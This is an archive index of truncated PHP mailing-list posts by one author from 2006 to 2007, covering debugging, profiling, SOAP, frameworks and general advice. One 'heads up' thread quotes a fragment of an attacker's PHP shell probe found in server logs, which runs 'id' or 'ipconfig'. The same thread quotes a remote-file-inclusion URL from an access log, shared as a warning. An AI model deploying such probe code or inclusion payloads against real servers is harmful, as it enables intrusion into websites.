Re: [PHP] Profiling PHP App

2007-12-19 Thread Paul Scott
On Thu, 2007-12-20 at 11:21 +0700, php mail wrote: > Is there any tool to profiling PHP app ? Yes, there are a few. The best that I have found anyway, is Xdebug 2 (http://pecl.php.net/xdebug). It can also integrate nicely with PHPUnit as well to do code coverage as well as make your life generall

Re: [PHP] Professional inquiry for you freelancers

2007-12-05 Thread Paul Scott
On Wed, 2007-12-05 at 23:33 -0500, Steve Finkelstein wrote: > Basically what I'm asking is, am I going to be end up being a jack of > all trades, master of none, if I continue pursuing design AND > development? Is there plenty of work out there for folks who just > stick to development? > It all

Re: [PHP] Software Help

2007-12-03 Thread Paul Scott
On Mon, 2007-12-03 at 14:55 -0500, Mike Roberts wrote: > My name is Mike Roberts, and I am a recruiter with Corporate Staffing > Services in Bala Cynwyd, Pennsylvania. I need help finding qualified > candidates who have experience with PHP ( whole lamp environment). Out > of respect, I am not incl

Re: [PHP] Structured Code vs. Performance

2007-11-29 Thread Paul Scott
On Thu, 2007-11-29 at 13:51 +0100, Jochem Maas wrote: > okay, but I was just paraphrasing the man Rasmus, although I admit I > may > have misinterpreted (or misundersstood the 'why') - thought I pretty > sure > he has written on a number of occasions that code like the following > sucks > for op-c

Re: [PHP] PHP RFC # 0001 --- List Etiquette [SOLVED]

2007-11-28 Thread Paul Scott
On Thu, 2007-11-29 at 09:24 +0800, Crayon Shin Chan wrote: > > This has been the expected behavior (adding [SOLVED]) for a long time > > though it does not occur as often as it should. It has been in the > > NEWBIE GUIDE for a long time and has been a de-facto standard on IT or > > computer relate

Re: [PHP] [NEWBIE GUIDE] For the benefit of new members

2007-11-15 Thread Paul Scott
On Thu, 2007-11-15 at 16:45 -0500, Daniel Brown wrote: > > 3. There is a searchable archive of the mailing list discussion at > > http://phparch.com/mailinglists. or at http://fsiu.uwc.ac.za/index.php?module=blog&action=randblog&userid=9914070612 if the above is down, as it is for me right now.

Re: [PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
On Wed, 2007-11-14 at 14:17 +0100, Per Jessen wrote: > OK, so quite a few things could have changed - in PHP or in apache. > However, you said you reproduced the problem using CLI, so we're > talking PHP or something underlying. It looks as though libcrypto has gotten itself into a knot. I did

Re: [PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote: > Backtrace? > backtrace #0 0xb691f310 in ?? () #1 0xb7874705 in CRYPTO_lock () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #2 0xb78e057d in ?? () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #3 0x0009 in ?? () #4 0x0001 in ?? () #5

[PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
All of a sudden, I am getting a bunch of segfaults in PHP. The Apache2 error log simply says: [Wed Nov 14 11:43:36 2007] [notice] child pid 10982 exit signal Segmentation fault (11) and if I run the script through PHP-CLI it outputs the expected HTML, but with a Segmentation Fault notice at the

Re: [PHP] PHP 5.1 memory leak?

2007-11-07 Thread Paul Scott
On Wed, 2007-11-07 at 15:21 -0200, Egon Hilgenstieler wrote: > I have a really complex report which uses a tree-like structure of data > base objects. Usually it consumes a lot of memory but that it is not > really an issue because it is an intranet application with few users and > a dedicated ser

Re: [PHP] Can I make a process run in background?

2007-11-05 Thread Paul Scott
On Mon, 2007-11-05 at 19:20 +0100, Luca Paolella wrote: > I want the bot to run a process in background (a periodic message, > for example) while listening for events (like a user joining a > channel or using a certain command) and consequentially executing the > corresponding functions, i

Re: [PHP] Strange warning: preg_match compilation warning

2007-11-05 Thread Paul Scott
On Mon, 2007-11-05 at 12:08 -0500, Daniel Brown wrote: > You canceled-out the final closing param with a backslash here: > (AVOIR \) > Oh geez, thanks! How embarrassing... I suppose that's what you get for coding on long haul flights... Thanks! --Paul All Email originating from

[PHP] Strange warning: preg_match compilation warning

2007-11-05 Thread Paul Scott
Does anyone have any idea as to why the following line is generating a warning? } else if (preg_match('/^([0-9]{4})-([0-9]{4})? (AVOIR \)$/', $content) === 0) { The warning text is as follows: Warning: preg_match(): Compilation failed: missing ) at offset 34 in ... Offset 34 seems to be the op

Re: [PHP] Maximum function nesting level of '100' reached

2007-10-26 Thread Paul Scott
On Fri, 2007-10-26 at 12:52 +0200, Jochem Maas wrote: > since when is there an arbitrary maximum recursion limit??? Since forever... ;) I thought that it was at 60 though... --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disc

Re: [PHP] Ant in php

2007-10-25 Thread Paul Scott
On Thu, 2007-10-25 at 02:25 -0700, DCVer wrote: > is this a good idea to use Ant with PHP or is there some similar tool to > Ant, that works fine with PHP? Thanks in advance. What you really want to look at is Phing, not Ant. It is very similar and I use it extensively for my project(s). --Paul

Re: [PHP] combining 2 arrays

2007-10-16 Thread Paul Scott
On Tue, 2007-10-16 at 16:42 +0200, Ladislav Andel wrote: > arrayDB1 = array(array('8', 'SER'), array('5','Asterisk')) > > When finished then it starts reading from second DB > where I would get > > arrayDB2 = array(array('6', 'XIP'), array('4','Asterisk')) > > > Is there any function where I

Re: [PHP] Please recommend blog script

2007-10-07 Thread Paul Scott
On Sun, 2007-10-07 at 09:35 +0200, Niels wrote: > Basically I want to integrate articles into existing pages, something like > > > What you want is a blog that exposes it's functionality as an API (MetaWebLog or ATOM). Most do that, including the Chisimba one (see http://fsiu.uwc.ac.za as an

Re: [PHP] evil script in server logs (Heads Up)

2007-10-05 Thread Paul Scott
On Fri, 2007-10-05 at 11:29 -0400, Daniel Brown wrote: > Yeah, honestly I wasn't sure if it was an injection attack or if > those URLs were referrers in the logs. OK sorry if I wasn't 100% clear here, but the logs showed up something like: http://fsiu.uwc.ac.za/index.php?module=http://www.go

Re: [PHP] evil script in server logs (Heads Up)

2007-10-05 Thread Paul Scott
On Fri, 2007-10-05 at 07:38 -0600, Ashley M. Kirchner wrote: > Quarantine Messages: > Message quarantined because of virus: PHP.Shell. > > Someone saw it somewhere and reported it... Don't you love Free Software? ;) --Paul All Email originating from UWC is covered by discla

Re: [PHP] error messages

2007-10-05 Thread Paul Scott
On Fri, 2007-10-05 at 00:32 -0700, tbt wrote: > I added the following lines to the top of my script but still no error > messages show up on the browser. > When a php error occurs the entire page is still shown blank. > Is your script *supposed* to output something? --Paul All Email originati

[PHP] evil script in server logs (Heads Up)

2007-10-04 Thread Paul Scott
I am taking a quick look through the access logs on our dev box, and came across this little nasty that was trying to execute itself as a XSS attack(?) "; echo "SysOSx:$ker"; echo "SysOSx:$osx"; if ($osx == "WINNT") { $xeQt="ipconfig -a"; } else { $xeQt="id"; } $hitemup=ex($xeQt); echo $hitemup;

Re: [PHP] error messages

2007-10-04 Thread Paul Scott
On Thu, 2007-10-04 at 22:38 -0700, tbt wrote: > I'm a newbie to php and i would like to know a way of viewing runtime errors > on the browser. Currently when an error occurs nothing is displayed on the > browser. Is there any way of viewing all error messages on the browser > itself. > You can u

Re: [PHP] languages and PHP

2007-09-27 Thread Paul Scott
On Thu, 2007-09-27 at 12:15 +0200, Angelo Zanetti wrote: > What are the implications of having a site that has many different > languages, including latin and non latin characters? Keep everything as universal (UTF-8) as possible, and make sure that you code for right-to-left languages as well.

Re: [PHP] SOAP in PHP on very restricted host?

2007-09-26 Thread Paul Scott
On Wed, 2007-09-26 at 13:26 +0900, David Christopher Zentgraf wrote: > But I just found out about NuSOAP (http://dietrich.ganx4.com/ > nusoap/), which seems to be what I'm looking for, a no-strings- > attached SOAP implementation. I'm trying my luck with this one for > now. :) If you are usin

Re: [PHP] Re: Data request

2007-09-25 Thread Paul Scott
On Tue, 2007-09-25 at 09:17 -0400, Robert Cummings wrote: > Oh sure, and now when I'm searching for "shit" I'll get all these > Henry's cat references *bleh*. > Well then why not tie in "coprophilia" as well? ugh. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.a

Re: [PHP] Data request

2007-09-24 Thread Paul Scott
On Mon, 2007-09-24 at 14:14 +0100, Stut wrote: > Have you tried Google? It knows a lot about most things and a little > about the rest. Also try have a look at the models used in flightgear - http://www.flightgear.org --Paul All Email originating from UWC is covered by disclaimer http://www.

Re: [PHP] Very Large text file parsing

2007-09-21 Thread Paul Scott
On Fri, 2007-09-21 at 08:42 +0200, Per Jessen wrote: > Isn't that just an ALTER ? Its a little more complex than that, as I have to actually create WKB from the data, so no, not just an ALTER unfortunately. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/

Re: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Fri, 2007-09-21 at 08:34 +0200, Paul Scott wrote: > Thanks to all for the suggestions - I now have to figure out the best > way to manipulate every single record in that table (now over 6.5 > million rows) to add in a field (RDBMS function in C - so much > easier)... > Oh,

Re: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Fri, 2007-09-21 at 15:51 +1000, Chris wrote: > (Personally I'd use perl over php for processing files that large but > that may not be an option). Thanks for all of the suggestions, I seem to have it working quite well now, although the client has just contacted me and said that they had "mad

Re: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Thu, 2007-09-20 at 09:54 -0300, Martin Marques wrote: > If not, you should just use the COPY command of PostgreSQL (you are > using PostgreSQL if I remember correctly) or simply do a bash script > using psql and the \copy command. > Unfortunately, this has to work on all supported RDBM's -

RE: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Thu, 2007-09-20 at 08:03 -0400, Robert Cummings wrote: > Post some samples of the data you are parsing and a sample of the code > you've written to parse them. If you're parsing 750 megs of data then > it's quite likely you could squeeze some performance out of the parse > routines themselves.

RE: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Thu, 2007-09-20 at 12:50 +0100, Edward Kay wrote: > In addition to Martin's good suggestions (and also assuming you're running > php-cli via cron), you could use nice to stop it consuming too many > resources: > This is the current approach that I am taking, was just really wondering if there

[PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
I have a very large text file that gets dumped into a directoory every now and then. It is typically around 750MB long, at least, and my question is: What is the best method to parse this thing and insert the data into a postgres db? I have tried using file(), fget*() and some others, all with l

Re: [PHP] Using PHP to determine if user has Java installed

2007-09-05 Thread Paul Scott
On Wed, 2007-09-05 at 20:41 -0400, tedd wrote: > >Java Runtime Environment == Java > >JavaScript != Java > > How about something like: if ( navigator.javaEnabled() ) { alert('JRE is installed!'); window.location="page_with_a_JAVA_applet"; } else { alert('JRE is not installed!');

[PHP] Chisimba Framework Release

2007-08-31 Thread Paul Scott
The next release of the Chisimba PHP5 framework is now available. Major enhancements included in this release are: - Memcache support - Better caching of language items - Improved database performance - Bug fixes - Better code documentation - API docs - First draft of the Chisimba Book fo

Re: [PHP] PHP and SOAP calls

2007-08-23 Thread Paul Scott
On Fri, 2007-08-24 at 07:55 +0200, Angelo Zanetti wrote: > I have been using nusoap to development a client that makes SOAP calls > to a server. I have however been stuck on a small issue but can't seem > to solve it and therefore I need to relook at using another package to > get a solution.

Re: [PHP] Web Service with PHP4 suggestions wanted.

2007-08-16 Thread Paul Scott
On Thu, 2007-08-16 at 09:55 +0200, Mattias Hakansson wrote: > So I request some suggestions from any one that has experience with this > on what web service library/extension you would chose with PHP 4 ? > I read about nuSOAP but it seems they are not any longer maintaining the > source ? since

Re: [PHP] PHP Books - A poll of sorts

2007-08-12 Thread Paul Scott
On Sun, 2007-08-12 at 20:52 -0500, Jay Blanchard wrote: > If there was a best practices book would you buy it? (I am showing > complete disregard for the thread on copyright infringement v. theft.) > Or do you rely on other sources like this list, articles, etc to derive > your own set of practice

Re: [PHP] php SHOW

2007-08-03 Thread Paul Scott
On Fri, 2007-08-03 at 11:56 +0100, Hulf wrote: > Is there a way to output my data and tables using a php version of SHOW? > Doesn't have to be pretty HTML just output to screen Well, not knowing what show does, my best guess would be that you are looking for __toString() --Paul All Email origi

Re: [PHP] Blooging Portal

2007-07-31 Thread Paul Scott
On Tue, 2007-07-31 at 10:27 +0200, Christian Hänsel wrote: > Does any of you know a decent Blooging Portal software? Of course, it should > be OpenSource ;o) What I wanna do is: I want to give people the ability to > create their own blogs on my server under one domain name... so > myblogonchri

Re: [PHP] session_start(): Cannot send session cache limiter...

2007-07-20 Thread Paul Scott
On Fri, 2007-07-20 at 16:01 +0800, Vanessa Vega wrote: > I already put session_start() on topmost part of the file..but i saved the > file as utf-8..and that seems to be the problem..can anyone share their > knowledge on this? > Set your error_reporting to at least E_ALL and check that there ar

Re: [PHP] Xdebug 2 released.

2007-07-18 Thread Paul Scott
On Wed, 2007-07-18 at 21:23 +0200, Derick Rethans wrote: > Now head over to the Xdebug site [2] and try it out! I have been using the XDebug RC for a while now, and am really glad that it is now stable! Thanks very much, it is one of the most important bits in my toolbox. http://fsiu.uwc.ac.za/

Re: [PHP] Unlink file older then 7 days

2007-07-17 Thread Paul Scott
On Wed, 2007-07-18 at 07:29 +0100, [EMAIL PROTECTED] wrote: > I need to throw in a wildcard, how would I do that.. I have this so far. > which dont work. foreach(glob("*.asc.txt") as $files) { unlink($files); } --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.

Re: [PHP] PHP-5.2.3 and "Internal Server Error"

2007-07-17 Thread Paul Scott
On Tue, 2007-07-17 at 18:06 -0500, Richard Lynch wrote: > Run the same script with php CLI and see what it outputs. > Goes through without a problem. > Open the script in various editors to be sure there's no stray > un-printable character in the source. > Checked. This is from one of our re

[PHP] PHP-5.2.3 and "Internal Server Error"

2007-07-17 Thread Paul Scott
On one of our test boxen, we recently upgraded to PHP-5.2.3 and all of a sudden started getting Internal Server Errors. The Apache log file tells me that there is a premature end of script error on index.php, which is simply an entry point script to an MVC framework. I have checked that there is

[PHP] PHP 101 Podcasts

2007-07-16 Thread Paul Scott
I have decided to take a stab at lecturing, and have taken on a group of 2nd year computer science students at UWC to teach PHP to. I would like to make use of some podcasts and/or other CC licensed content to make it a little more enjoyable than "Read the manual, write unit tests, code, ship" w

Re: [PHP] acerca de extensiones SQL Server

2007-07-14 Thread Paul Scott
On Sat, 2007-07-14 at 19:57 +0200, M. Sokolewicz wrote: > That's assuming he wanted specifically MySQL. The OP's post did not > actually state _which_ extension he wants to use, nor to which RDBMS he > wants to connect (at all). To the OP: SQL is simply a language, what you > want is a database

Re: [PHP] HELP - I have tried to unsubscribe from this list mutiple times but cannot.

2007-06-29 Thread Paul Scott
On Fri, 2007-06-29 at 01:59 -0400, -Patrick wrote: > I no longer have a need for this list and My mailbox is getting flooded, > Can someone assist ? Read the footer on every single mail posted to this list to unsubscribe --Paul All Email originating from UWC is covered by disclaimer http://ww

[PHP] simplexml_load_file and proxy auth

2007-06-28 Thread Paul Scott
Does anyone know of a way to pass proxy auth to simplexml_load_*? Previously, I have used cURL to return the XML string from remote, but this seems kind of hacky to me, and was wondering if anyone had a better solution? Thanks --Paul All Email originating from UWC is covered by disclaimer htt

Re: [PHP] Currency Exchange Database?

2007-06-28 Thread Paul Scott
On Thu, 2007-06-28 at 20:44 -0400, Tom Ray [Lists] wrote: > I have a client that's looking to do auto conversions of currency on > their reservation payment form. No big deal, I can that part down. > However, exchange rates change on a minute to minute basis and they want > the program to autom

Re: [PHP] PHP P O K E R...... and JAVA (convert)

2007-06-27 Thread Paul Scott
On Wed, 2007-06-27 at 14:17 +0200, Tijnema wrote: > Not too hard to program right? As long as you keep on assuming that you are playing with infinite decks of cards, and not marking cards as dealt as you deal. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/

Re: [PHP] open a file in a folder without knowing the filename

2007-06-21 Thread Paul Scott
On Thu, 2007-06-21 at 01:49 +0100, Graham Shaw wrote: > I'm probably missing something really obvious here but how would I go about > opening a file or multiple files in a folder without knowing the filename > ahead of time? You can use the glob function http://www.php.net/glob to build an arra

Re: [PHP] Program Execution and reading results

2007-06-21 Thread Paul Scott
On Thu, 2007-06-21 at 01:13 -0700, makhan wrote: > Thanks Paul for your response. my issue is not just reading from the output > text file. But my issue is what I would do in the php script while the > program is execting( i.e after issueing shell_exec() command) and how would > i know that file h

Re: [PHP] Program Execution and reading results

2007-06-20 Thread Paul Scott
On Wed, 2007-06-20 at 21:42 -0700, makhan wrote: > Now after my > program has written its output I want to read this text file from php and > send it back to the browser. > Can someone please guide me how I can do this. This seems like an overly complex way of doing something that sounds quite si

Re: [PHP] Force zero numbers on a integer

2007-06-19 Thread Paul Scott
On Tue, 2007-06-19 at 13:17 -0300, [EMAIL PROTECTED] wrote: > I have a integer that is submitted by the user and i need it to always > contain 5 digits. > str_pad($userSubmittedNumber, 5, 0, 0); --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006

Re: [PHP] Php script diagnostic app?

2007-06-17 Thread Paul Scott
On Mon, 2007-06-18 at 06:39 +0200, Paul Scott wrote: > If you would like a more detailed HOWTO, please let me know, and I will > write up something for you. http://fsiu.uwc.ac.za/index.php?module=blog&action=viewsingle&postid=gen9Srv59Nme5_9262_1182142431&userid=3897070607

Re: [PHP] Php script diagnostic app?

2007-06-17 Thread Paul Scott
On Sun, 2007-06-17 at 13:53 -0400, Robert Cummings wrote: > I believe there are profiling tools... probably from Zend. How big is I prefer using XDEBUG, which is totally free. You can install it from the pecl repositories: pecl install xdebug Then, you simply install it as an extension on your d

Re: [PHP] The data get lost when click back button

2007-06-16 Thread Paul Scott
On Sat, 2007-06-16 at 12:47 -0300, Tom wrote: > How can I make in simple way that, the data in the fields don't get lost > when the user returning to the form? You can add the field data to a session: $field1 = $_GET['field1']; $_SESSION['field1'] = $field1; // then to get them back again if(

RE: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 13:13 -0500, Richard Lynch wrote: > On Tue, June 12, 2007 11:39 pm, Paul Scott wrote: > It's a blog. > > People type things. > Not quite anymore... I have added our set of filters to the output now, so that you can add in bbcode tags as well as a nu

Re: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 13:15 -0500, Richard Lynch wrote: > Do students and interns still have quotas on their email accounts?... > Students get 100MB, interns and staff too. That is storage space on the IMAP server though, if you POP it off (like I do) you can get over 1GB of mail a month (like I

Re: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 13:16 -0500, Richard Lynch wrote: > Oh, we'll fill that sucker up pretty fast... :-) > Thats what I am counting on! I have been on this list a while, and a couple flamewars should do the trick :) --Paul All Email originating from UWC is covered by disclaimer http://www.u

RE: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 13:13 -0500, Richard Lynch wrote: > I am currently averaging 2 posts per year, roughly, including today's > rant about header("Location:"): I was asked to write a blog, I am no blogger myself, thought it was a cool challenge to make a good one, so I took it on. Personally,

Re: [PHP] Address validation API's for PHP

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 07:45 -0500, Jay Blanchard wrote: > I am looking for an address validation database and API to use with our > retail applications (does not have to be free). Not sure entirely of what you are looking for here, but try http://www.geonames.org first. It's CC licenced so that

Re: [PHP] Re: PHP list as a blog

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 12:26 +0100, Colin Guthrie wrote: > Depends on the list settings - it can be turned on with the flick of a > switch... just ask the guys at Gmane. > Sure, but most lists do not do this by default... > It's quite annoying for trying to contact someone tho' :) > It's even m

RE: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 12:57 +0200, Zoltán Németh wrote: > okay, that works. > just one problem: the UTF-8 characters are screwed up (for example á and > é in my name - I send my mails in UTF-8 so that cannot be the problem) > I noticed. What we did was tack this site (which normally runs of post

Re: [PHP] Re: PHP list as a blog

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 11:51 +0100, Colin Guthrie wrote: > Erm, reinventing the wheel? > Not quite, more of a test of the code so that I know that Bad Things do not happen when there is a lot of traffic/posts. If it serves another purpose (like letting students etc see what is happening) all the

RE: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott
On Wed, 2007-06-13 at 12:08 +0200, Zoltán Németh wrote: > is this the link: > http://196.21.45.50/fsiu/chisimba_framework/app/index.php?module=blog&action=allblogs > ? > (this was in your original post) > No, sorry, I have just updated the DNS. Try http://fsiu.uwc.ac.za/ now. --Paul All Email

Re: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott
On Wed, 2007-06-13 at 13:21 +0800, Crayon Shin Chan wrote: > Not to mention slower, clumsier and more bandwidth hungry than a mailing > list. It's time you did them a favour and show them that mailing lists > are nothing to be afraid of. Absolutely! I couldn't agree more! It is really very diff

RE: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott
On Tue, 2007-06-12 at 16:02 -0500, Richard Lynch wrote: > > OK, downed it. Will figure out a regular expression to strip out the > > email addresses when I have had some coffee in the morning I have added a regex to strip out the mail addresses and replace them with a message saying that they ha

RE: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott
On Tue, 2007-06-12 at 16:02 -0500, Richard Lynch wrote: > I'm not sure we need yet another archive of the list, though I suppose > having it on a blog with the RSS and whatnot all built-in is kinda > nifty, possibly, for some users somewhere. Our interns and students specifically. They are all de

RE: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott
On Tue, 2007-06-12 at 14:56 -0500, Jay Blanchard wrote: > + 10*12^23, I don't want to be that famous. > OK, downed it. Will figure out a regular expression to strip out the email addresses when I have had some coffee in the morning --Paul All Email originating from UWC is covered by disclaimer

Re: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott
On Tue, 2007-06-12 at 14:48 -0500, Richard Lynch wrote: > I think you should take it DOWN until you can obfuscate the emails. I am working on it at the moment. It seems that it only shows some people's addresses - presumably those that have the reply to thing set? --Paul All Email originating f

[PHP] PHP list as a blog

2007-06-12 Thread Paul Scott
I have set up our new Chisimba blog system (GPL, http://avoir.uwc.ac.za) to blog all of the posts to this list. Please check it out at http://196.21.45.50/fsiu/chisimba_framework/app/index.php?module=blog&action=allblogs and let me know what you think! Thanks --Paul All Email originating from

Re: [PHP] Return or not to return, that is the question

2007-05-30 Thread Paul Scott
On Wed, 2007-05-30 at 12:20 +0100, Dave Goodchild wrote: > If there is no need to return a value then I don't do so. However, the > function is going to process something, and surely you should check that the > processing has succeeded or failed? If you unit test, then returns become quite import

Re: [PHP] two php scripts with same $_SESSION variables

2007-05-24 Thread Paul Scott
On Thu, 2007-05-24 at 04:23 -0700, Jean-Christophe Roux wrote: > when running the script in B, in can see the value 10. How can I make sure > that the $_SESSION['dummy'] is not shared between the two scripts? I could > change the name but that would not be convenient. > I think you are missing

Re: [PHP] showing source

2007-05-17 Thread Paul Scott
On Fri, 2007-05-18 at 01:50 -0400, James Lockie wrote: > This almost works but all my < and > are replaced with "". > Rather use named entities, www.php.net/htmlentities --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/

Re: [PHP] RE: Bounty FYI

2007-05-15 Thread Paul Scott
Lets also add: Respect mailing lists Respect communities On Tue, 2007-05-15 at 02:55 -0400, Brad Sumrall wrote: > Food for thought! > > Respect the freedom. > > Respect the Internet! > > We all benefit! > > Never abuse! > All Email originating from UWC is covered by disclaimer http://www.

RE: [PHP] Bounty, NOW!

2007-05-14 Thread Paul Scott
On Tue, 2007-05-15 at 01:46 -0400, Brad Sumrall wrote: > I got 5 IP breaking Federal Regulations. > Hehehehe > Do you think you are not being logged? > *YAWN* Anything better to talk about? This is very l33t-ish and is now grossly off topic. --Paul All Email originating from UWC is covered

Re: [PHP] PHP RAD framework

2007-04-13 Thread Paul Scott
On Fri, 2007-04-13 at 22:26 +0800, Man-wai Chang wrote: > Any recommendation? Smarty Templates help a bit, but still need lots of > coding... http://avoir.uwc.ac.za All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm --

Re: [PHP] Cheap Ping

2007-04-12 Thread Paul Scott
On Thu, 2007-04-12 at 23:16 -0600, [EMAIL PROTECTED] wrote: > Any other suggestions? cURL. http://www.php.net/curl That will allow all the configs and stuff to be set, and you get the response in a neat variable that you can then test. --Paul All Email originating from UWC is covered by disc

Re: [PHP] php5 oop question

2007-04-11 Thread Paul Scott
On Wed, 2007-04-11 at 23:22 -0700, Jim Lucas wrote: > Has anybody else seen this style of syntax? > http://5ive.uwc.ac.za/index.php?module=blog&action=viewsingle&postid=init_8059_1163957717&userid=5729061010 I don't think that its really useful for anything, except maybe creating overly complex

Re: [PHP] Question on Portfoilo's

2007-04-09 Thread Paul Scott
On Mon, 2007-04-09 at 22:45 -0300, Davi wrote: > Em Segunda 09 Abril 2007 22:36, Larry Garfield escreveu: > You can't live for and from only open source projects... Why not? I do... --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail

Re: [PHP] Any Internal search engine in PHP?

2007-02-10 Thread Paul Scott
On Sat, 2007-02-10 at 09:47 -0500, tedd wrote: > >I had been trying some search engines for internal searches within my > >website. I tried google co-op which failed as the results were showing on > >supplemental index. The one provided by cpanel does not show more than 2-3 > >URLs in results. Ple

Re: [PHP] REST, SOAP or XML-RPC?

2007-02-04 Thread Paul Scott
On Sun, 2007-02-04 at 23:00 -0600, Richard Lynch wrote: > Presumably one can choose to install only some of the options. > > Of course, now you're into the wonderful land of module > dependencies... Good luck! > Module dependencies are sorted out by the framework already. We have modelled our

Re: [PHP] Re: REST, SOAP or XML-RPC?

2007-02-04 Thread Paul Scott
On Sun, 2007-02-04 at 23:00 -0600, Gregory Beaver wrote: > Why not use PEAR itself? The last chapter of my book > (http://www.packtpub.com/book/PEAR-installer) is a step-by-step tutorial > on designing just such a module that would allow downloads of module > code from a remote server. It also i

[PHP] REST, SOAP or XML-RPC?

2007-02-04 Thread Paul Scott
I am developing a webservice like module for our framework that will enable downloads of module code into the framework modules from a remote server. Basically what this should do is: 1. User requests a list of available stable modules from server 2. User clicks on install from the returned list

Re: [PHP] Exceptions: How much is too much.

2007-01-04 Thread Paul Scott
On Fri, 2007-01-05 at 00:44 -0500, Craige Leeder wrote: > The question is: How much is too much. Should I use Exceptions to > handle all of my error reporting/triggering? How about catching them? > I mean, if I'm using Exceptions for all of my error handling, I could > easily end up wrapping my en

Re: [PHP] recursive function problem

2006-12-07 Thread Paul Scott
On Thu, 2006-12-07 at 13:41 +0100, Sjef wrote: > Hello! > I wrote a recursive function, but when running the function appache stalls, > the error log says: Did you write a recursive function to send this mail to this list perhaps? --Paul All Email originating from UWC is covered by disclaimer

Re: [PHP] Running AMP from CD

2006-11-27 Thread Paul Scott
On Mon, 2006-11-27 at 11:41 -0800, Ryan A wrote: > Hey Paul, > > Now this is sounding promising! > Can you send me details on how/where I can download your package to > give it a go? > The ISO image is now available at: http://fsiu.uwc.ac.za/iso/ --Paul All Email originating from UWC is cover

Re: [PHP] Running AMP from CD

2006-11-27 Thread Paul Scott
On Mon, 2006-11-27 at 11:41 -0800, Ryan A wrote: > Now this is sounding promising! > Can you send me details on how/where I can download your package to give it a > go? > I will upload the ISO to our download site in the morning (I only get 3GB per month bandwidth from my home ADSL) and you can

Re: [PHP] Running AMP from CD

2006-11-27 Thread Paul Scott
On Mon, 2006-11-27 at 08:42 -0800, Ryan A wrote: > Sounds good but I dont think its right for this project because we are > making educational pages that are presently online... but will later > be distributed for free to students, mostly young ones at that... > 10-15yrs old so it has to be as sim

Re: [PHP] Running AMP from CD

2006-11-27 Thread Paul Scott
On Mon, 2006-11-27 at 03:39 -0800, Ryan A wrote: > Any help appreciated, even if its a one line link, thanks in advance! Our team ships our products as an Ubuntu linux Live CD with all the bits and pieces pre-installed, which also gives the user an option to install and set up a live server with

Re: [PHP] MDB2 : never ending story

2006-11-13 Thread Paul Scott
On Mon, 2006-11-13 at 18:07 +0100, Alain Roger wrote: > And therefore how do you want to get the result set ? > nothing is solved now... i still need a fetchrow or fetchOne Have you read _any_ of the MDB2 docs?? As far as I can see you have decided not to even _try_ any of the solutions th

Re: [PHP] MDB2 : never ending story

2006-11-13 Thread Paul Scott
On Mon, 2006-11-13 at 17:49 +0100, Alain Roger wrote: > Dear all, > > i still got the same error when i run this code : > ==> Call to a member function fetchRow() on a non-object on line "while Then why not try something else? Try this: $db2 =& MDB2::connect($dsn, $options);

Re: [PHP] WAP?

2006-11-02 Thread Paul Scott
On Thu, 2006-11-02 at 17:11 -0500, [EMAIL PROTECTED] wrote: > http://www.w3schools.com/wap/ Also, don't forget hawhaw. I think it lives at http://www.hawhaw.de or something. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclai

Re: [PHP] I'm newbie in PHP

2006-10-24 Thread Paul Scott
On Tue, 2006-10-24 at 14:15 +0300, Andrei wrote: > extension=php_crack.dll > > to be uncommented. What does the CrackLib have to do with MySQL??? Surely you meant the php_mysql.dll extension? Oh, and if you are on a real operating system, you will enable the extension with a .so extension, not

Re: [PHP] Comment management

2006-10-23 Thread Paul Scott
On Mon, 2006-10-23 at 15:53 -0400, tedd wrote: > Well... I was afraid that someone would say that (paint me into a > corner). I just wanted to check before launching my own home-grown > solution and then having everyone say "Why didn't you use so-and-so's > 'comment manager' "? > > I'm sure wo

Re: [PHP] Setting try and catch to use my own error handler

2006-10-19 Thread Paul Scott
On Fri, 2006-10-20 at 15:50 +0900, Dave M G wrote: > I have a system where the code parses the URL and creates objects based > on the classes named in the link. > > In order to prevent a user typing in a URL that contains an object that > doesn't exist, and getting an error, I'm trying to set u

Re: [PHP] Class returning more than one value

2006-10-14 Thread Paul Scott
On Sat, 2006-10-14 at 11:06 +0100, Deckard wrote: > How can i code a class with a function that returns more than one value ? > 1. return array(); 2. return stdClass; --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/ind

